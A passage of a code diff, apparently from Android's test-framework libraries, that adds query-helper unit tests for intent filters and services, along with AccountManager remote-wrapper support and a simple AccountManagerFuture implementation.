+ private static final IntentFilter INTENT_FILTER_WITH_ACTION = new IntentFilter("action");
private static final android.content.pm.ActivityInfo FRAMEWORK_ACTIVITY_INFO_1 =
createActivityInfo(CLASS_1_CLASS_NAME, /* exported= */ false);
private static final android.content.pm.ActivityInfo FRAMEWORK_ACTIVITY_INFO_2 =
@@ -54,6 +60,10 @@
private static final ActivityInfo CLASS_1_ACTIVITY_INFO = ActivityInfo.builder(FRAMEWORK_ACTIVITY_INFO_1).build();
private static final ActivityInfo EXPORTED_ACTIVITY_INFO = ActivityInfo.builder(EXPORTED_FRAMEWORK_ACTIVITY_INFO).build();
private static final ActivityInfo CLASS_2_ACTIVITY_INFO = ActivityInfo.builder(FRAMEWORK_ACTIVITY_INFO_2).build();
+ private static final ActivityInfo INTENT_FILTER_ACTIVITY_INFO = ActivityInfo.builder()
+ .activityClass(CLASS_1_CLASS_NAME)
+ .intentFilters(Set.of(INTENT_FILTER_WITH_ACTION))
+ .build();
@Test
public void matches_noRestrictions_returnsTrue() {
@@ -99,4 +109,26 @@
assertThat(activityQueryHelper.matches(EXPORTED_ACTIVITY_INFO)).isFalse();
}
+ @Test
+ public void matches_intentFilters_matches_returnsTrue() {
+ ActivityQueryHelper<Queryable> activityQueryHelper = new ActivityQueryHelper<>(mQuery);
+
+ activityQueryHelper.intentFilters().contains(
+ intentFilter().actions().contains("action")
+ );
+
+ assertThat(activityQueryHelper.matches(INTENT_FILTER_ACTIVITY_INFO)).isTrue();
+ }
+
+ @Test
+ public void matches_intentFilters_doesNotMatch_returnsFalse() {
+ ActivityQueryHelper<Queryable> activityQueryHelper = new ActivityQueryHelper<>(mQuery);
+
+ activityQueryHelper.intentFilters().doesNotContain(
+ intentFilter().actions().contains("action")
+ );
+
+ assertThat(activityQueryHelper.matches(INTENT_FILTER_ACTIVITY_INFO)).isFalse();
+ }
+
}
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/IntentFilterQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/IntentFilterQueryHelperTest.java
new file mode 100644
index 0000000..7de4e8e
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/IntentFilterQueryHelperTest.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.IntentFilter;
+
+import com.android.queryable.Queryable;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.Set;
+
+@RunWith(JUnit4.class)
+public class IntentFilterQueryHelperTest {
+
+ private final Queryable mQuery = null;
+
+ private static final Set<String> ACTIONS = Set.of("action1", "action2", "action3");
+ private static final Set<String> CATEGORIES = Set.of("category1", "category2", "category3");
+
+ private static final IntentFilter ACTIONS_INTENT_FILTER = createIntentFilter(ACTIONS, Set.of());
+ private static final IntentFilter CATEGORIES_INTENT_FILTER =
+ createIntentFilter(Set.of(), CATEGORIES);
+
+ private static IntentFilter createIntentFilter(Set<String> actions, Set<String> categories) {
+ IntentFilter filter = new IntentFilter();
+
+ for (String action : actions) {
+ filter.addAction(action);
+ }
+ for (String category : categories) {
+ filter.addCategory(category);
+ }
+
+ return filter;
+ }
+
+ @Test
+ public void matches_noRestrictions_returnsTrue() {
+ IntentFilterQueryHelper<Queryable> intentFilterQueryHelper =
+ new IntentFilterQueryHelper<>(mQuery);
+
+ assertThat(intentFilterQueryHelper.matches(ACTIONS_INTENT_FILTER)).isTrue();
+ }
+
+ @Test
+ public void matches_actionsRestriction_meetsRestriction_returnsTrue() {
+ IntentFilterQueryHelper<Queryable> intentFilterQueryHelper =
+ new IntentFilterQueryHelper<>(mQuery);
+
+ intentFilterQueryHelper.actions().contains("action1");
+
+ assertThat(intentFilterQueryHelper.matches(ACTIONS_INTENT_FILTER)).isTrue();
+ }
+
+ @Test
+ public void matches_actionsRestriction_doesNotMeetRestriction_returnsFalse() {
+ IntentFilterQueryHelper<Queryable> intentFilterQueryHelper =
+ new IntentFilterQueryHelper<>(mQuery);
+
+ intentFilterQueryHelper.actions().contains("action4");
+
+ assertThat(intentFilterQueryHelper.matches(ACTIONS_INTENT_FILTER)).isFalse();
+ }
+
+ @Test
+ public void matches_categoriesRestriction_meetsRestriction_returnsTrue() {
+ IntentFilterQueryHelper<Queryable> intentFilterQueryHelper =
+ new IntentFilterQueryHelper<>(mQuery);
+
+ intentFilterQueryHelper.categories().contains("category1");
+
+ assertThat(intentFilterQueryHelper.matches(CATEGORIES_INTENT_FILTER)).isTrue();
+ }
+
+ @Test
+ public void matches_categoriesRestriction_doesNotMeetRestriction_returnsFalse() {
+ IntentFilterQueryHelper<Queryable> intentFilterQueryHelper =
+ new IntentFilterQueryHelper<>(mQuery);
+
+ intentFilterQueryHelper.actions().contains("category4");
+
+ assertThat(intentFilterQueryHelper.matches(CATEGORIES_INTENT_FILTER)).isFalse();
+ }
+}
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ServiceQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ServiceQueryHelperTest.java
new file mode 100644
index 0000000..e1df33d
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ServiceQueryHelperTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import static com.android.queryable.queries.IntentFilterQuery.intentFilter;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Service;
+import android.content.IntentFilter;
+
+import com.android.queryable.Queryable;
+import com.android.queryable.info.ServiceInfo;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.Set;
+
+@RunWith(JUnit4.class)
+public class ServiceQueryHelperTest {
+
+ private final Queryable mQuery = null;
+
+ private static final Class<? extends Service> CLASS_1 = Service.class;
+
+
+ private static final String CLASS_1_CLASS_NAME = CLASS_1.getName();
+
+ private static final IntentFilter INTENT_FILTER_WITH_ACTION = new IntentFilter("action");
+
+ private static final android.content.pm.ServiceInfo FRAMEWORK_SERVICE_INFO_1 =
+ createServiceInfo(CLASS_1_CLASS_NAME);
+ private static final android.content.pm.ServiceInfo FRAMEWORK_SERVICE_INFO_2 =
+ createServiceInfo("different.class.name");
+
+ private static android.content.pm.ServiceInfo createServiceInfo(String name) {
+ android.content.pm.ServiceInfo serviceInfo = new android.content.pm.ServiceInfo();
+ serviceInfo.name = name;
+
+ return serviceInfo;
+ }
+
+ private static final ServiceInfo CLASS_1_SERVICE_INFO =
+ ServiceInfo.builder(FRAMEWORK_SERVICE_INFO_1).build();
+ private static final ServiceInfo CLASS_2_SERVICE_INFO =
+ ServiceInfo.builder(FRAMEWORK_SERVICE_INFO_2).build();
+ private static final ServiceInfo INTENT_FILTER_SERVICE_INFO = ServiceInfo.builder()
+ .serviceClass(CLASS_1_CLASS_NAME)
+ .intentFilters(Set.of(INTENT_FILTER_WITH_ACTION))
+ .build();
+
+
+ @Test
+ public void matches_noRestrictions_returnsTrue() {
+ ServiceQueryHelper<Queryable> serviceQueryHelper = new ServiceQueryHelper<>(mQuery);
+
+ assertThat(serviceQueryHelper.matches(CLASS_1_SERVICE_INFO)).isTrue();
+ }
+
+ @Test
+ public void matches_serviceClass_doesMatch_returnsTrue() {
+ ServiceQueryHelper<Queryable> serviceQueryHelper = new ServiceQueryHelper<>(mQuery);
+
+ serviceQueryHelper.serviceClass().isSameClassAs(CLASS_1);
+
+ assertThat(serviceQueryHelper.matches(CLASS_1_SERVICE_INFO)).isTrue();
+ }
+
+ @Test
+ public void matches_serviceClass_doesNotMatch_returnsFalse() {
+ ServiceQueryHelper<Queryable> serviceQueryHelper = new ServiceQueryHelper<>(mQuery);
+
+ serviceQueryHelper.serviceClass().isSameClassAs(CLASS_1);
+
+ assertThat(serviceQueryHelper.matches(CLASS_2_SERVICE_INFO)).isFalse();
+ }
+
+ @Test
+ public void matches_intentFilters_matches_returnsTrue() {
+ ServiceQueryHelper<Queryable> serviceQueryHelper = new ServiceQueryHelper<>(mQuery);
+
+ serviceQueryHelper.intentFilters().contains(
+ intentFilter().actions().contains("action")
+ );
+
+ assertThat(serviceQueryHelper.matches(INTENT_FILTER_SERVICE_INFO)).isTrue();
+ }
+
+ @Test
+ public void matches_intentFilters_doesNotMatch_returnsFalse() {
+ ServiceQueryHelper<Queryable> serviceQueryHelper = new ServiceQueryHelper<>(mQuery);
+
+ serviceQueryHelper.intentFilters().contains(
+ intentFilter().actions().doesNotContain("action")
+ );
+
+ assertThat(serviceQueryHelper.matches(INTENT_FILTER_SERVICE_INFO)).isFalse();
+ }
+}
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java
index 5fb7076..a1f950a 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java
@@ -95,7 +95,9 @@
String methodName = parts[0];
string = parts[1];
parts = string.split("\\)", 2);
- List<TypeMirror> parameters = Arrays.stream(parts[0].split(","))
+ // Remove generic types as we don't need to care about them at this point
+ String parametersString = parts[0].replaceAll("<.*>", "");
+ List<TypeMirror> parameters = Arrays.stream(parametersString.split(","))
.map(String::trim)
.filter(t -> !t.isEmpty())
.map(t -> typeForString(t, types, elements))
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
index effe455..ba321d5 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
@@ -16,7 +16,6 @@
package com.android.bedstead.remoteframeworkclasses.processor;
-
import com.android.bedstead.remoteframeworkclasses.processor.annotations.RemoteFrameworkClasses;
import com.google.android.enterprise.connectedapps.annotations.CrossUser;
@@ -78,7 +77,8 @@
"android.os.UserManager",
"android.content.pm.PackageManager",
"android.content.pm.CrossProfileApps",
- "android.content.pm.LauncherApps"
+ "android.content.pm.LauncherApps",
+ "android.accounts.AccountManager"
};
private static final String PARENT_PROFILE_INSTANCE =
@@ -263,7 +263,41 @@
//Uses PackageInfo.SessionCallback
"public void unregisterPackageInstallerSessionCallback("
- + "android.content.pm.PackageInstaller.SessionCallback)"
+ + "android.content.pm.PackageInstaller.SessionCallback)",
+
+ // AccountManager
+
+ // Uses Activity
+ "public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+ "public android.accounts.AccountManagerFuture<android.os.Bundle> finishSession(android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+ "public android.accounts.AccountManagerFuture<android.os.Bundle> editProperties(String, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+ "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+ "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthTokenByFeatures(String, String, String[], android.app.Activity, android.os.Bundle, android.os.Bundle, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+ "public android.accounts.AccountManagerFuture<android.os.Bundle> removeAccount(android.accounts.Account, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+ "public android.accounts.AccountManagerFuture<android.os.Bundle> startAddAccountSession(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+ "public android.accounts.AccountManagerFuture<android.os.Bundle> startUpdateCredentialsSession(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+ "public android.accounts.AccountManagerFuture<android.os.Bundle> updateCredentials(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+ "public android.accounts.AccountManagerFuture<android.os.Bundle> confirmCredentials(android.accounts.Account, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+
+ // Uses OnAccountsUpdateListener
+ "public void addOnAccountsUpdatedListener(android.accounts.OnAccountsUpdateListener, android.os.Handler, boolean)",
+ "public void addOnAccountsUpdatedListener(android.accounts.OnAccountsUpdateListener, android.os.Handler, boolean, String[])",
+ "public void removeOnAccountsUpdatedListener(android.accounts.OnAccountsUpdateListener)",
+
+ // Uses AccountManagerCallback
+ "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+ "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+ "public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+ "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+ "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+ "public android.os.Bundle hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
+ "public android.os.Bundle isCredentialsUpdateSuggested(android.accounts.Account, String, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
+ "public android.accounts.AccountManagerFuture<android.accounts.Account[]> getAccountsByTypeAndFeatures(String, String[], android.accounts.AccountManagerCallback<android.accounts.Account[]>, android.os.Handler)",
+ "public android.accounts.AccountManagerFuture<java.lang.Boolean> hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
+ "public android.os.Bundle isCredentialsUpdateSuggested(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, String) throws android.accounts.NetworkErrorException",
+ "public android.accounts.AccountManagerFuture<java.lang.Boolean> isCredentialsUpdateSuggested(android.accounts.Account, String, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
+ "public android.accounts.AccountManagerFuture<java.lang.Boolean> removeAccount(android.accounts.Account, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
+ "public android.accounts.AccountManagerFuture<android.accounts.Account> renameAccount(android.accounts.Account, @Size(min=1) String, android.accounts.AccountManagerCallback<android.accounts.Account>, android.os.Handler)"
);
@@ -273,6 +307,10 @@
private static final ClassName COMPONENT_NAME_CLASSNAME =
ClassName.get("android.content", "ComponentName");
+ private static final ClassName ACCOUNT_MANAGE_FUTURE_WRAPPER_CLASSNAME =
+ ClassName.get(
+ "com.android.bedstead.remoteframeworkclasses", "AccountManagerFutureWrapper");
+
@Override
public SourceVersion getSupportedSourceVersion() {
return SourceVersion.latest();
@@ -366,7 +404,6 @@
TypeSpec.interfaceBuilder(className)
.addModifiers(Modifier.PUBLIC);
-
classBuilder.addJavadoc("Public, test, and system interface for {@link $T}.\n\n",
frameworkClass);
classBuilder.addJavadoc("<p>All methods are annotated {@link $T} for compatibility with the"
@@ -377,6 +414,8 @@
classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
.addMember("parcelableWrappers", "$T.class",
NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME)
+ .addMember("futureWrappers", "$T.class",
+ ACCOUNT_MANAGE_FUTURE_WRAPPER_CLASSNAME)
.build());
for (ExecutableElement method : methods) {
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/AccountManagerFutureWrapper.java b/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/AccountManagerFutureWrapper.java
new file mode 100644
index 0000000..cea8357
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/AccountManagerFutureWrapper.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.accounts.AccountManagerFuture;
+import android.accounts.AuthenticatorException;
+import android.accounts.OperationCanceledException;
+
+import com.google.android.enterprise.connectedapps.FutureWrapper;
+import com.google.android.enterprise.connectedapps.Profile;
+import com.google.android.enterprise.connectedapps.annotations.CustomFutureWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+import com.google.android.enterprise.connectedapps.internal.CrossProfileCallbackMultiMerger;
+import com.google.android.enterprise.connectedapps.internal.FutureResultWriter;
+
+import java.io.IOException;
+import java.util.Map;
+
+/**
+ * Future wrapper for {@link AccountManagerFuture}.
+ *
+ * @param <V> Wrapped future result
+ */
+@CustomFutureWrapper(originalType = AccountManagerFuture.class)
+public class AccountManagerFutureWrapper<V> extends FutureWrapper<V> {
+
+ private final SimpleAccountManagerFuture<V> mFuture = new SimpleAccountManagerFuture<>();
+
+ private AccountManagerFutureWrapper(Bundler bundler, BundlerType bundlerType) {
+ super(bundler, bundlerType);
+ }
+
+ /** Create a {@link AccountManagerFutureWrapper}. */
+ public static <V> AccountManagerFutureWrapper<V> create(
+ Bundler bundler, BundlerType bundlerType) {
+ return new AccountManagerFutureWrapper<>(bundler, bundlerType);
+ }
+
+ /** Write a result from an {@link AccountManagerFuture}. */
+ public static <V> void writeFutureResult(
+ AccountManagerFuture<V> future, FutureResultWriter<V> futureResultWriter) {
+ try {
+ futureResultWriter.onSuccess(future.getResult());
+ } catch (OperationCanceledException | IOException | AuthenticatorException e) {
+ futureResultWriter.onFailure(e);
+ }
+ }
+
+ /** Group multiple results from {@link AccountManagerFuture}. */
+ public static <E> AccountManagerFuture<Map<Profile, E>> groupResults(
+ Map<Profile, AccountManagerFuture<E>> results) {
+ SimpleAccountManagerFuture<Map<Profile, E>> m = new SimpleAccountManagerFuture<>();
+
+ CrossProfileCallbackMultiMerger<E> merger =
+ new CrossProfileCallbackMultiMerger<>(results.size(), m::setResult);
+ for (Map.Entry<Profile, AccountManagerFuture<E>> result : results.entrySet()) {
+ try {
+ merger.onResult(result.getKey(), result.getValue().getResult());
+ } catch (OperationCanceledException | IOException | AuthenticatorException e) {
+ merger.missingResult(result.getKey());
+ }
+ }
+ return m;
+ }
+
+ /** Get the wrapped future. */
+ public AccountManagerFuture<V> getFuture() {
+ return mFuture;
+ }
+
+ @Override
+ public void onResult(V result) {
+ mFuture.setResult(result);
+ }
+
+ @Override
+ public void onException(Throwable throwable) {
+ mFuture.setException(throwable);
+ }
+}
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/SimpleAccountManagerFuture.java b/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/SimpleAccountManagerFuture.java
new file mode 100644
index 0000000..0bbc47d
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/types/main/java/com/android/bedstead/remoteframeworkclasses/SimpleAccountManagerFuture.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.accounts.AccountManagerFuture;
+import android.accounts.AuthenticatorException;
+import android.accounts.OperationCanceledException;
+
+import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * A simple implementation of {@link AccountManagerFuture} for use with remote calls.
+ *
+ * @param <V> The wrapped future result.
+ */
+public final class SimpleAccountManagerFuture<V> implements AccountManagerFuture<V> {
+
+ private final CountDownLatch mIsDone = new CountDownLatch(1);
+ private final AtomicReference<Throwable> mException = new AtomicReference<>();
+ private final AtomicReference<V> mValue = new AtomicReference<>();
+
+ @Override
+ public boolean cancel(boolean mayInterruptIfRunning) {
+ // Remote calls cannot cancel futures
+ return false;
+ }
+
+ @Override
+ public boolean isCancelled() {
+ return false;
+ }
+
+ @Override
+ public boolean isDone() {
+ return mIsDone.getCount() < 1;
+ }
+
+ @Override
+ public V getResult() throws OperationCanceledException, IOException, AuthenticatorException {
+ try {
+ mIsDone.await();
+ } catch (InterruptedException e) {
+ throw new RuntimeException("Interrupted while waiting for result", e);
+ }
+
+ Throwable exception = mException.get();
+ if (exception == null) {
+ return mValue.get();
+ } else if (exception instanceof OperationCanceledException) {
+ throw (OperationCanceledException) exception;
+ } else if (exception instanceof IOException) {
+ throw (IOException) exception;
+ } else if (exception instanceof AuthenticatorException) {
+ throw (AuthenticatorException) exception;
+ } else {
+ throw new RuntimeException("Unexpected exception type", exception);
+ }
+ }
+
+ /** Set the result of this future. */
+ public void setResult(V result) {
+ mValue.set(result);
+ mIsDone.countDown();
+ }
+
+ @Override
+ public V getResult(long timeout, TimeUnit unit)
+ throws OperationCanceledException, IOException, AuthenticatorException {
+ try {
+ mIsDone.await(timeout, unit);
+ } catch (InterruptedException e) {
+ throw new RuntimeException("Interrupted while waiting for result", e);
+ }
+
+ Throwable exception = mException.get();
+ if (exception == null) {
+ return mValue.get();
+ } else if (exception instanceof OperationCanceledException) {
+ throw (OperationCanceledException) exception;
+ } else if (exception instanceof IOException) {
+ throw (IOException) exception;
+ } else if (exception instanceof AuthenticatorException) {
+ throw (AuthenticatorException) exception;
+ } else {
+ throw new RuntimeException("Unexpected exception type", exception);
+ }
+ }
+
+ /** Set an exception thrown by this future. */
+ public void setException(Throwable throwable) {
+ mException.set(throwable);
+ mIsDone.countDown();
+ }
+}
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppDetails.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppDetails.java
index 6aeb22c..71dab7b 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppDetails.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppDetails.java
@@ -19,6 +19,7 @@
import android.os.Bundle;
import com.android.queryable.info.ActivityInfo;
+import com.android.queryable.info.ServiceInfo;
import java.util.HashSet;
import java.util.Set;
@@ -30,6 +31,7 @@
final Bundle mMetadata = new Bundle();
final Set<String> mPermissions = new HashSet<>();
final Set<ActivityInfo> mActivities = new HashSet<>();
+ final Set<ServiceInfo> mServices = new HashSet<>();
@Override
public String toString() {
@@ -39,6 +41,7 @@
+ ", mMetadata=" + mMetadata
+ ", mPermissions=" + mPermissions
+ ", mActivities=" + mActivities
+ + ", mServices=" + mServices
+ '}';
}
}
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstanceReference.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstanceReference.java
index bd9a615..248da18 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstanceReference.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstanceReference.java
@@ -16,6 +16,9 @@
package com.android.bedstead.testapp;
+import android.accounts.AccountManager;
+import android.accounts.RemoteAccountManager;
+import android.accounts.RemoteAccountManagerWrapper;
import android.app.admin.DevicePolicyManager;
import android.app.admin.RemoteDevicePolicyManager;
import android.app.admin.RemoteDevicePolicyManagerWrapper;
@@ -40,7 +43,6 @@
import android.os.UserManager;
import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.nene.exceptions.NeneException;
import com.android.bedstead.nene.packages.ProcessReference;
import com.android.bedstead.nene.users.UserReference;
@@ -65,9 +67,9 @@
private final UserReference mUser;
private final CrossProfileConnector mConnector;
private final Map<IntentFilter, Long> mRegisteredBroadcastReceivers = new HashMap<>();
- private boolean mKeepAliveManually = false;
private final ProfileTestAppController mTestAppController;
private final TestAppActivities mTestAppActivities;
+ private boolean mKeepAliveManually = false;
/**
* Use {@link TestApp#install} or {@link TestApp#instance} to get an instance of
@@ -157,7 +159,6 @@
/**
* Unregister the receiver
- * @param intentFilter
*/
public TestAppInstanceReference unregisterReceiver(IntentFilter intentFilter) {
if (!mRegisteredBroadcastReceivers.containsKey(intentFilter)) {
@@ -219,25 +220,26 @@
return this;
}
- /**
- * Immediately force stops the app.
- *
- * <p>This will also stop keeping the target app alive (see {@link #stopKeepAlive()}.
- */
- public TestAppInstanceReference stop() {
- stopKeepAlive();
-
- ProcessReference process = mTestApp.pkg().runningProcess(mUser);
- if (process != null) {
- try {
- process.kill();
- } catch (NeneException e) {
- throw new NeneException("Error killing process... process is " + process(), e);
- }
- }
-
- return this;
- }
+ // TODO(b/203758521): Restore functionality of killing process
+// /**
+// * Immediately force stops the app.
+// *
+// * <p>This will also stop keeping the target app alive (see {@link #stopKeepAlive()}.
+// */
+// public TestAppInstanceReference stop() {
+// stopKeepAlive();
+//
+// ProcessReference process = mTestApp.pkg().runningProcess(mUser);
+// if (process != null) {
+// try {
+// process.kill();
+// } catch (NeneException e) {
+// throw new NeneException("Error killing process... process is " + process(), e);
+// }
+// }
+//
+// return this;
+// }
/**
* Gets the {@link ProcessReference} of the app, if any.
@@ -331,6 +333,15 @@
return new RemoteLauncherAppsWrapper(mConnector);
}
+ /**
+ * Access {@link AccountManager} using this test app.
+ *
+ * <p>Almost all methods are available. Those that are not will be missing from the interface.
+ */
+ public RemoteAccountManager accountManager() {
+ return new RemoteAccountManagerWrapper(mConnector);
+ }
+
@Override
public String toString() {
return "TestAppInstanceReference{"
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppProvider.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppProvider.java
index 5e7e9de..0ce0d8e 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppProvider.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppProvider.java
@@ -17,14 +17,17 @@
package com.android.bedstead.testapp;
import android.content.Context;
+import android.content.IntentFilter;
import android.util.Log;
import com.android.bedstead.nene.TestApis;
import com.android.queryable.info.ActivityInfo;
+import com.android.queryable.info.ServiceInfo;
import java.io.IOException;
import java.io.InputStream;
import java.util.HashSet;
+import java.util.List;
import java.util.Set;
/** Entry point to Test App. Used for querying for {@link TestApp} instances. */
@@ -96,12 +99,48 @@
details.mActivities.add(ActivityInfo.builder()
.activityClass(activityEntry.getName())
.exported(activityEntry.getExported())
+ .intentFilters(intentFilterSetFromProtoList(
+ activityEntry.getIntentFiltersList()))
+ .build());
+ }
+
+ for (int i = 0; i < app.getServicesCount(); i++) {
+ TestappProtos.Service serviceEntry = app.getServices(i);
+ details.mServices.add(ServiceInfo.builder()
+ .serviceClass(serviceEntry.getName())
